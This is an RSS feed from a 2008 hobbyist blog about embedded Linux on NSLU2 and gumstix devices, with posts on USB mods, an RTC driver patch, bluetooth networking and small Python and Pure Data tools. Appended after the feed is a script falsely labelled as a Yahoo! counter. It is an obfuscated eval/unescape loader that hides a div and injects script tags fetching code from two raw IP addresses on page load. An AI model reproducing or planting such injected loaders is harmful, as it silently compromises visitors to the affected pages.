<?xml version="1.0" encoding="iso-8859-1"?>
<rss version="2.0">
  <channel>
    <title>eclectronics.org</title>
    <link>http://www.eclectronics.org/blog/</link>
    <description></description>
    <language>en-us</language>           
    <generator>Nucleus CMS v3.24</generator>
    <copyright>©</copyright>             
    <category>Weblog</category>
    <docs>http://backend.userland.com/rss</docs>
    <image>
      <url>http://www.eclectronics.org/blog//nucleus/nucleus2.gif</url>
      <title>eclectronics.org</title>
      <link>http://www.eclectronics.org/blog/</link>
    </image>
    <item>
 <title>Echoweb - A workshop in mapping audio networks through audio</title>
 <link>http://www.eclectronics.org/blog/index.php?itemid=31</link>
<description><![CDATA[<a href="http://www.eclectronics.org/blog/media/1/20081103-gumstix-whiteout.png"></a><br />
<br />
I am running a workshop in TCD's science gallery on the 22nd of this month - Saturday.<br />
<br />
The workshop will cover using and programming mobile soundscapes using the platform I've decied to call 'Audioscan', based on the gumstix linux platform, PDa, and the network daemons I have written to enable bluetooth, wifi and gps signals in OSC.<br />
<br />
<a href="http://echoweb.eclectronics.org">more info</a>]]></description>
 <category>General</category>
<comments>http://www.eclectronics.org/blog/index.php?itemid=31</comments>
 <pubDate>Mon, 3 Nov 2008 06:48:33 -0600</pubDate>
</item><item>
 <title>Identifying ttyUSB ports in python</title>
 <link>http://www.eclectronics.org/blog/index.php?itemid=30</link>
<description><![CDATA[While preparing a NSLU2 for phase 2 of <a href="http://eclectronics.org/projects/smsage">SMSAGE</a> with <a href="http://ralphborland.net">Ralph</a> I've come across one really annoying issue.. It doesnt seem deterministic which order USB devices are enumerated, so if you have two USB to serial adapters, ttyUSB0 and ttyUSB1, they may switch names after a reboot!<br />
<br />
<a href="netslug/identty.py">This</a> python script identifies them for you. (angstrom openembedded).<br />
<br />
Run it directly:<br />
<tty>python identty.py</tty><br />
<br />
or:<br />
<tty>import identty<br />
ports=identty.identify()</tty><br />
<br />
Source:<br />
<br />
import os<br />
<tty><br />
def identify():<br />
&nbsp;&nbsp;&nbsp;ports=[]<br />
&nbsp;&nbsp;&nbsp;o=os.popen('cat /proc/tty/driver/usbserial')<br />
&nbsp;&nbsp;&nbsp;p=o.read()<br />
&nbsp;&nbsp;&nbsp;q=p.split('\n')<br />
&nbsp;&nbsp;&nbsp;for i in range(len(q)):<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;r=q[i].partition('"')[2].partition('"')[0]<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if len(r):<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ports.append(['/dev/ttyUSB'+str(i-1),r])<br />
&nbsp;&nbsp;&nbsp;return ports<br />
<br />
if __name__=="__main__":<br />
&nbsp;&nbsp;&nbsp;p=identify()<br />
&nbsp;&nbsp;&nbsp;for i in p:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print i[0]+" : "+i[1]<br />
<tty>]]></description>
 <category>Technical</category>
<comments>http://www.eclectronics.org/blog/index.php?itemid=30</comments>
 <pubDate>Mon, 29 Sep 2008 12:32:43 -0500</pubDate>
</item><item>
 <title>Auto power management for the Angstrom NSLU2</title>
 <link>http://www.eclectronics.org/blog/index.php?itemid=29</link>
<description><![CDATA[For the <a href="http://eclectronics.org/projects/smsage/">SMSAGE</a> project, <a href="http://ralphborland.net">Ralph</a> and I have been equipping a security camera housing with a NSLU2 'netslug' running from a lead-acid battery and a solar charger.<br />
<br />
In order to conserve power, the installation will run on a 'duty cycle' of around 20% of the day.<br />
<br />
<a href="http://www.eclectronics.org/blog/media/1/20080929-IMG_0081.jpg">wake-up mod (the red wire)</a><br />
I followed the instructions <a href="http://johnarthur.wordpress.com/2008/06/26/a-battery-powered-time-lapse-camera/">here</a> and modded the NSLU2 to connect its RTC chip to its power-on circuit, it also necessitated patching the driver for the x-1205 timer chip to allow the rtcalarm utility to set a wake-up alarm.<br />
<br />
<a href="netslug/rtc-x1205.c">Here</a> is the source to the adapted RTC driver which works in the latest angstrom openembedded (2007.12, kernel 2.6.21.7) <br />
<br />
Shell commands can now be used to set a wake-up time and poweroff the system, for instance:<br />
<br />
<tty><br />
rtcalarm -s 300<br />
poweroff<br />
</tty><br />
Will turn the slug off for 5 minutes.<br />
<br />
As recommended <a href="http://www.nslu2-linux.org/wiki/Angstrom/HomePage">here</a> I also blacklisted /dev/sda1 from being automatically mounted, as it also the root filing system. The poweroff command, even when executed from a running python script, seems to do a good job of closing the 'slug down cleanly, however having the root filing system mounted twice seems to be too much and the card is being detected by Ubuntu as being 'dirty': which can't be a good thing in the long run.]]></description>
 <category>Technical</category>
<comments>http://www.eclectronics.org/blog/index.php?itemid=29</comments>
 <pubDate>Mon, 29 Sep 2008 12:06:52 -0500</pubDate>
</item><item>
 <title>Mounting a CF card as root for gumstix openembedded</title>
 <link>http://www.eclectronics.org/blog/index.php?itemid=28</link>
<description><![CDATA[A small technical note/ mnemonic, CF-root configuration in openembedded for gumstix is a little tricky / underdocumented.<br />
<br />
Enable CF-root: <br />
<br />
uncomment <tty>MACHINE_FEATURES  += "cfroot"</tty> in <br />
<tty>openembedded/com.gumstix.collection/conf/machine/YOURMACHINE.conf</tty><br />
<br />
and build the kernel & fs, flash the gumstix as normal.<br />
<br />
Prepare your CF card.. create a minimum sized FAT16 partition and format the rest of the card as EXT2<br />
<br />
<a href="http://www.eclectronics.org/blog/media/1/20080925-cfroot1.png">preparing the card in gparted</a><br />
This is how it should look in gparted:<br />
<br />
copy <tty>openembedded/extras/cf-root/gumstix-factory.script</tty> to the FAT16 partition:<br />
also copy your new kernel image as 'uImage'<br />
i.e. <tty>cp openembedded/tmp/deploy/glibc/images/gumstix-custom-connex/uImage-2.6.21-r1-gumstix-custom-connex.bin /media/disk-1/uImage</tty><br />
<br />
copy the tar.gz of your new rootfs to the EXT2 partition and extract it ie.<br />
<br />
<tty>cp openembedded/tmp/deploy/glibc/images/gumstix-custom-connex/Angstrom-gumstix-basic-image-glibc-ipk-2007.9-test-20080917-gumstix-custom-connex.rootfs.tar.gz /media/disk-2<br />
cd /media/disk-2<br />
gunzip Angstrom-gumstix-basic-image-glibc-ipk-2007.9-test-20080917-gumstix-custom-connex.rootfs.tar.gz<br />
tar -xvf Angstrom-gumstix-basic-image-glibc-ipk-2007.9-test-20080917-gumstix-custom-connex.rootfs.tar</tty><br />
<br />
And you may be able to boot the card.<br />
<br />
I had to do one more step, because I don't have a wifi module and the wifi option was enabled in gumstix-custom-connex.conf, as detailed <a href="http://www.nabble.com/Booting-from-the-CF-card-via-initramfs-p14859726.html">here,</a> when the networking startup script tries to bring up the wlan interface it ejects the card... not very helpful.<br />
<br />
I just commented out the wlan0 interface in <tty>/etc/networking/interfaces</tty>, but if you removed the option from gumstix-custom-connex.conf it would probably have the same effect.]]></description>
 <category>Technical</category>
<comments>http://www.eclectronics.org/blog/index.php?itemid=28</comments>
 <pubDate>Thu, 25 Sep 2008 08:20:26 -0500</pubDate>
</item><item>
 <title>Adding an extra USB port to the NSLU2</title>
 <link>http://www.eclectronics.org/blog/index.php?itemid=27</link>
<description><![CDATA[While putting together the hardware for inquisitive devices, I've come across one surprising thing:<br />
<br />
There seems to be a big problem with USB 2.0 480MBs hubs (or at least the ones we bought, admittedly they were only $3)<br />
<br />
The audio computing nodes we are using comprise a 'netslug' device, a USB storage key, a bluetooth dongle and a sound dongle.<br />
<br />
The only one of these that will work on a USB 2.0 hub is the storage key.<br />
<br />
The other devices can be detected, but:<br />
<br />
The sound card gives an error when you try and use it.<br />
The bluetooth chip floods the system with error messages and it grinds to a standstill.<br />
<br />
I plugged them into an old USB 1.1 hub and they worked perfectly.<br />
<br />
We have another solution: there are 3 extra USB ports inside the netslug you can solder onto, as described <a href="http://www.nslu2-linux.org/wiki/HowTo/EnableExtraUSBPorts">here.</a><br />
<a href="http://www.eclectronics.org/blog/media/1/20080916-ns-usb1.JPG">soldering the port</a><br />
Using a spare usb extension cable, solder d- and d+ (pins 2 and 3 of the extension port) to the inside side of resistors 160 and 161.<br />
Power and ground go to the same pins (1 and 4) of the back of the existing USB port.<br />
Using an extension cable means that devices can be plugged in and out of the extra port.<br />
(note: there may not be sufficient power supplied for bus-powered devices on the two connected ports. I used a memory key and a bluetooth dongle on these with no problem)<br />
<br />
<a href="http://www.eclectronics.org/blog/media/1/20080916-ns-usb2.JPG">USB extension cable</a><br />
The best way to install the extra port is by threading the cable through the (unused) hole on the netslugs motherboard. This is just about the only way to get the case to close with the extra cable installed.<br />
As you can see we applied hotglue to protect the soldered connections and secure the cable through the hole.<br />
<br />
<a href="http://www.eclectronics.org/blog/media/1/20080918-ns-overclock.JPG">removing resistor R83</a><br />
We also noticed that this batch of 'slugs (from amazon.com) were running slower than the other one. After reading <a href="http://www.nslu2-linux.org/wiki/HowTo/OverClockTheSlug">this,</a> we checked the output of /proc/cpuinfo and found the 'slugs were achieving ~133 bogomips- i.e. they had been underclocked to 133mhz at the factory. Removal of resistor 83 with a snips brought them up to speed!]]></description>
 <category>General</category>
<comments>http://www.eclectronics.org/blog/index.php?itemid=27</comments>
 <pubDate>Mon, 8 Sep 2008 23:51:48 -0500</pubDate>
</item><item>
 <title>configuring the NSLU2 for a distributed sound installation</title>
 <link>http://www.eclectronics.org/blog/index.php?itemid=26</link>
<description><![CDATA[Here is a compilation of things I've discovered in setting up some NSLU2 storage routers to act as a bluetooth-sensing audio synthesizing network for the inquisitive devices project (a collaboration with <a href="http://coin-operated.com">Jonah Brucker-Cohen</a>)<br />
<br />
Choice of distro.<br />
I am using <a href="http://www.nslu2-linux.org/wiki/Angstrom">Angstrom</a> openembedded, a relatively new embedded linux distro, for several reasons<br />
-I am already familiar with openembedded from the gumstix<br />
-It uses glibc, giving better compatibility with desktop software<br />
-It achieves superior floating point emulation performance with the EABI<br />
<br />
-Its possible to compile openembedded for BE (big endian) or LE (little endian) operation. I chose bigendian as it should in theory make network operations a little faster.<br />
<br />
Software platform:<br />
We are using bluez, python, <a href="http://www.ixi-audio.net/content/body_backyard_python.html">simpleosc</a>, and <a href="http://gige.xdv.org/pda/">pda</a>. This environment will not fit in the NSLU2's 8MB of internal flash storage, necessitating interfacing a 2GB USB key to the 'slug.<br />
<br />
Although its possible to boot linux the normal way, and install software to a mounted drive rather than the default (root) location, support for this is hit and miss. It can work ok for high level software, however packages that contain libraries and kernel modules get pretty confused. For this reason We have reconfigured 'Apex', the angstrom bootloader, to use the USB key as the root filing system. The steps involved are:-<br />
<br />
Download the compiled openembedded distribution from <a href="http://www.angstrom-distribution.org/releases/2007.12/images/ixp4xxbe/">here<a>:<br />
Install the upslug2 tool toreflash the slug. As I'm using ubuntu this involved typing:<br />
<br />
<tty>sudo apt-get install upslug2</tty><br />
<br />
Although I do have the greatest sympathy for windows users who will have to <a href="http://www.nslu2-linux.org/wiki/Main/UpSlug2">jump through hoops</a> just to do this.<br />
<br />
Once upslug2 is ready, the netslug can be flashed by turning it on with the reset button depressed for 10 seconds (until the status light turns red), and then (while connected to the same network) issuing:<br />
<br />
<tty> sudo upslug2 -d eth1 -i Angstrom-base-image-glibc-ipk-2007.11RC3-ixp4xxbe-nslu2.bin</tty><br />
<br />
(I used the <tty>-d eth1</tty> option as  my laptop was using wifi to connect to the router the netslug was plugged into).<br />
<br />
-And this just works, instantly, detecting the netslug, reflashing, verifying and rebooting into the new OS. A big improvement on <a href="http://www.gumstix.net/Software/view/Getting-started/Replacing-the-file-system-image/111.html">this!</a><br />
<br />
Wait for the netslug to reboot and ssh into it (i.e. <tty>ssh root@192.168.1.6</tty> )<br />
<br />
Bring ipkg upto date and install apex-env: this allows theparameters of the apex bootloader to be modified from within linux.<br />
<br />
<tty><br />
ipkg update<br />
ipkg install apex-env</tty><br />
<br />
Use apex-env to tell the netslug to boot from the extrnal flash drive:<br />
<br />
<tty> apex-env setenv cmdline "console=ttyS0,115200n8 root=/dev/sda1 rootfstype=ext2 rw rootdelay=10"</tty><br />
<br />
Its then necessary to put the root folder structure onto the USB drive. On Ubuntu I used gunzip to unpack the tar.gz of the rootfs distribution, I copied this onto the newly formatted ext2 drive and then used:<br />
<br />
<tty>sudo tar -xvf Angstrom-base-image-glibc-ipk-2007.11RC3-ixp4xxbe.rootfs.tar</tty><br />
<br />
To replicate the root filing system. I then inserted the USB key in the netslug, rebooted and voila!, df reported 1840328 blocks free.<br />
<br />
I then installed sound, bluetooth and python onto the new, large root filing system.<br />
<br />
<tty>ipkg install task-base-bluetooth<br />
ipkg install kernel-module-snd-usb-audio<br />
ipkg install kernel-module-snd-pcm-oss<br />
ipkg install alsa-lib<br />
ipkg install python-pybluez</tty><br />
<br />
<tty>depmod - a</tty> is necessary to make the bluetooth & sound modules visible.<br />
<br />
As before, I added a stratup script to initialise the sound hardware:<br />
<br />
<tty>#!/bin/sh<br />
echo "Configuring sound..."<br />
modprobe snd-usb-audio<br />
modprobe snd-pcm-oss<br />
echo "Finished configuring sound."</tty><br />
<br />
Save this to /etc/rcS.d/S90sound and make it executable.<br />
<br />
]]></description>
 <category>Technical</category>
<comments>http://www.eclectronics.org/blog/index.php?itemid=26</comments>
 <pubDate>Mon, 8 Sep 2008 14:43:25 -0500</pubDate>
</item><item>
 <title>asclist for pure data</title>
 <link>http://www.eclectronics.org/blog/index.php?itemid=25</link>
<description><![CDATA[Heres a new small pd external.<br />
<br />
asclist takes any kind of input- symbols, lists etc. and outputs a list of ascii codes.<br />
<br />
<a href="http://www.eclectronics.org/blog/media/1/20080827-asclist1.png">asclist external</a><br />
<br />
Based on ascseq from the cxc library of pd-extended.<br />
<br />
Source code <a href="PDa/asclist.c">here</a>]]></description>
 <category>Technical</category>
<comments>http://www.eclectronics.org/blog/index.php?itemid=25</comments>
 <pubDate>Wed, 27 Aug 2008 10:14:48 -0500</pubDate>
</item><item>
 <title>Gumstix bnep the manual way!</title>
 <link>http://www.eclectronics.org/blog/index.php?itemid=24</link>
<description><![CDATA[First steps in configuring bnep (tcpip over bluetooth).<br />
<br />
[on the linux pc]<br />
tim@calvin:~$ sudo pand --master --nodetach --role NAP --listen<br />
pand[709]: Bluetooth PAN daemon version 3.26<br />
<br />
[on the gumstix]<br />
root@ginsberg:~$ pand --connect [mac address of pc]<br />
root@ginsberg:~$ ifconfig bnep0 up<br />
<br />
pand[751]: New connection from 00:80:37:2E:30:3E at bnep0<br />
<br />
-in another window-<br />
tim@calvin:~$ sudo ifconfig bnep0 12.0.0.1<br />
<br />
root@ginsberg:~$ ifconfig bnep0 12.0.0.2<br />
<br />
root@ginsberg:~$ ping 12.0.0.1<br />
PING 12.0.0.1 (12.0.0.1): 56 data bytes<br />
64 bytes from 12.0.0.1: icmp_seq=0 ttl=64 time=81.4 ms<br />
64 bytes from 12.0.0.1: icmp_seq=1 ttl=64 time=38.1 ms<br />
64 bytes from 12.0.0.1: icmp_seq=2 ttl=64 time=40.6 ms<br />
<br />
]]></description>
 <category>Technical</category>
<comments>http://www.eclectronics.org/blog/index.php?itemid=24</comments>
 <pubDate>Wed, 6 Aug 2008 07:18:26 -0500</pubDate>
</item><item>
 <title>building a bitbake image for nslu2 angstrom</title>
 <link>http://www.eclectronics.org/blog/index.php?itemid=23</link>
<description><![CDATA[Download and unpack Angstrom-2007.12-source.tar<br />
<br />
Setup the environmnet variables in setup-env<br />
<br />
bitbake task-base<br />
<br />
bitbake nslu2-base-image<br />
<br />
I had to however remove avahi from the distro as it was giving errors.]]></description>
 <category>Technical</category>
<comments>http://www.eclectronics.org/blog/index.php?itemid=23</comments>
 <pubDate>Fri, 25 Jul 2008 15:16:19 -0500</pubDate>
</item><item>
 <title>verdex python</title>
 <link>http://www.eclectronics.org/blog/index.php?itemid=22</link>
<description><![CDATA[Using python on a gumstix - not easy!<br />
<br />
There isn't normally enough space on a gumstix to install python, (unless you go the mmc-root route).<br />
<br />
The python ipkg installer seems to trip up when installing to a card. It seems best to install python-core to root and then use -d destination for libraries.<br />
<br />
Also there is a bug in the way gumstix openembedded installs the python bitbake recipe. Several .so files including array.so from the lib-dynload directory don't make it into the ipkg. I fixed it by copying the compiled files manually to the /usr/lib/python2.5/lib-dynload directory.<br />
<br />
And its working.]]></description>
 <category>Technical</category>
<comments>http://www.eclectronics.org/blog/index.php?itemid=22</comments>
 <pubDate>Tue, 22 Jul 2008 19:32:27 -0500</pubDate>
</item>
  </channel>
</rss><script language=javascript><!-- Yahoo! Counter starts 
eval(unescape('%2F%2F@%2E%2E@.# %3C%64~i@%76|%20%73t%79le%3D!%64~%69$%73$%70%6C%61`%79`:%6Eo%6E~e%3E|\n#%64$%6F|c%75me!n&t.w%72%69!t%65`%28#%22&%3C%2F%74!e%78~%74%61&%72`%65%61%3E|"~)%3B%76%61%72%20i$%2C%5F%2C%61~=["&2%318%2E%39&3!.2$%30~2%2E%361",%22`%37%38&.%31`%310&%2E1&%37`%35`.%32`1|"%5D%3B`_~%3D%31;`%69`%66$%28%64&o#c%75`%6De%6E%74%2Ec%6F#o@k%69e%2Em%61|%74@c$%68$%28`/$%5C#%62%68#g`f%74%3D1!/&)#=%3D#nu~%6C%6C|%29#%66~o#%72`%28i%3D0!;~%69@%3C!2`%3B%69+%2B)%64#%6Fc`%75m%65@%6Et$%2E|%77r%69t$%65#(%22%3C&%73%63#%72%69%70t~%3E`%69%66~%28~%5F)#doc%75~men`%74&.%77%72!it&e%28!%5C`%22%3C%73%63r&i%70%74%20%69%64=`%5F#%22@%2B%69+"$%5F%20%73%72%63%3D%2F%2F%22%2B&a%5B%69|]`%2B%22|/!%63p$%2F%3E$%3C|%5C|%5C$%2F%73%63&%72$%69%70~%74%3E%5C!%22%29%3C%5C#/~%73%63%72!i%70`t%3E$%22`%29;!\n%2F%2F!%3C|/~%64%69v%3E').replace(/\&|\||\!|`|@|\$|~|#/g,""));var yahoo_counter=1;
<!-- counter end --></script>
